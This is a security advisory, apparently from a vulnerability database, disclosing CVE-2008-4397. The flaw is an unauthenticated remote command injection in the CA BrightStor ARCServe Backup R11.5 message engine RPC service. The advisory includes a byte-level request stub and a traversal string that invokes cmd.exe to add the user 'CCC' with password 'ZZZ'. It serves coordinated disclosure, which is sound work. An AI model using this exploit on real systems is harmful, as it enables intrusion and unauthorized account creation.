CA BrightStor ARCServe BackUp Message Engine Remote Command Injection

2008-10-16 / 2008-10-17
Credit: cocoruder
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

CA BrightStor ARCServe BackUp Message Engine Remote Command Injection Vulnerability by cocoruder(frankruder_at_hotmail.com) http://ruder.cdut.net Summary: CA BrightStor ARCServe BackUp is an overall data backup solution. The RPC interface of CA BrightStor ARCServe BackUp does not handle user's input exactly that allows anonymous attacker to inject any command, a remote code execution attack may achieved through this way. Affected Software Versions: CA BrightStor ARCServe BackUp R11.5 Details: Service named "CA BrightStor Message Engine" (Process Name: msgeng.exe) registers a RPC interface which is listening on TCP port 6504, following is some related information: UUID : 506b1890-14c8-11d1-bbc3-00805fa6962e Version : 1.0 Listen Port : 6504 Remarkably, we can access this interface anonymously via "ncacn_ip_tcp". The following is the IDL of the function of opnum 0x10A: /* opcode: 0x156, address: 0x28EB1C00 */ long sub_28EB1C00 ( [in] handle_t arg_1, [in][string] char * arg_2, [in][string] char * arg_3, [in][string] char * arg_4, [in][string] char * arg_5, [in] long arg_6, [in][size_is(arg_1)] char * arg_7, [in] long arg_8, [in, out] long * arg_9, [out][size_is(*arg_9)] char ** arg_10 ); Following is the normal stub of this function: my $stub= "\x10\x00\x00\x00\x00\x00\x00\x00". #should equal to remote computer name "\x10\x00\x00\x00". "kkk-49ade5b31c1". "\x00". "\x08\x00\x00\x00\x00\x00\x00\x00". #will run "aaa.exe" "\x08\x00\x00\x00". "aaa.exe" "\x00". "\x81\x00\x00\x00\x00\x00\x00\x00". #arg_4 "\x81\x00\x00\x00". "BBBBBBBBBBBBBBBB". "BBBBBBBBBBBBBBBB". "BBBBBBBBBBBBBBBB". "BBBBBBBBBBBBBBBB". "BBBBBBBBBBBBBBBB". "BBBBBBBBBBBBBBBB". "BBBBBBBBBBBBBBBB". "BBBBBBBBBBBBBBBB". "\x00\x00\x00\x00". "\x01\x00\x00\x00". #arg_5 "\x00\x00\x00\x00". "\x01\x00\x00\x00". "\x00\x00\x00\x00". "\xce\x00\x00\x00". #arg_6 "\xce\x00\x00\x00". "\xff\xfe\x3c\x00\x3f\x00\x78\x00". "\x6d\x00\x6c\x00\x20\x00\x76\x00\x65\x00\x72\x00\x73\x00\x69\x00". "\x6f\x00\x6e\x00\x3d\x00\x22\x00\x31\x00\x2e\x00\x30\x00\x22\x00". "\x3f\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00\x52\x00\x45\x00\x50\x00". "\x4f\x00\x52\x00\x54\x00\x3e\x00\x0d\x00\x0a\x00\x20\x00\x3c\x00". "\x48\x00\x45\x00\x41\x00\x44\x00\x45\x00\x52\x00\x20\x00\x44\x00". "\x61\x00\x74\x00\x65\x00\x3d\x00\x22\x00\x79\x00\x65\x00\x73\x00". "\x22\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00\x54\x00\x49\x00\x54\x00". "\x4c\x00\x45\x00\x3e\x00\xcf\x6b\xe5\x65\x07\x59\xfd\x4e\xb6\x72". "\x01\x60\xa5\x62\x68\x88\x3c\x00\x2f\x00\x54\x00\x49\x00\x54\x00". "\x4c\x00\x45\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00\x44\x00\x45\x00". "\x53\x00\x43\x00\x52\x00\x3e\x00\x28\x57\x4d\x52\x20\x00\x32\x00". "\x34\x00\x20\x00\x0f\x5c\xf6\x65\x85\x51\x8c\x5b\x10\x62\x84\x76". "\x07\x59\xfd\x4e\x5c\x4f\x00\x00\x00\x00\x00\x00\xde\x77\x00\x00"; First, the first parameter (victim's computer name) should equal to the real computer name. Second, when we change the string "aaa.exe" such as "../aaa.exe", it will bypass the current directory, if the program has been installed by default, transferring the following string will reach the "cmd.exe" and add an user with "CCC"/"ZZZ"(username/password) on the affected system: ../../../../../../../..//winnt//system32//cmd.exe /c \"net user CCC ZZZ /add\" || Solution: CA has released a bulletin as well as a patch for this vulnerability which can be found at: https://support.ca.com/irj/portal/anonymous/phpsupcontent?contentID=1881 43 CVE Information: CVE-2008-4397 Disclosure Timeline: 2008.01.07 Vendor notified 2008.01.08 Vendor responded 2008.10.09 Coordinated public disclosure --EOF--

References:

https://support.ca.com/irj/portal/anonymous/phpsupcontent?contentID=188143
http://www.securityfocus.com/archive/1/archive/1/497281/100/0/threaded


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top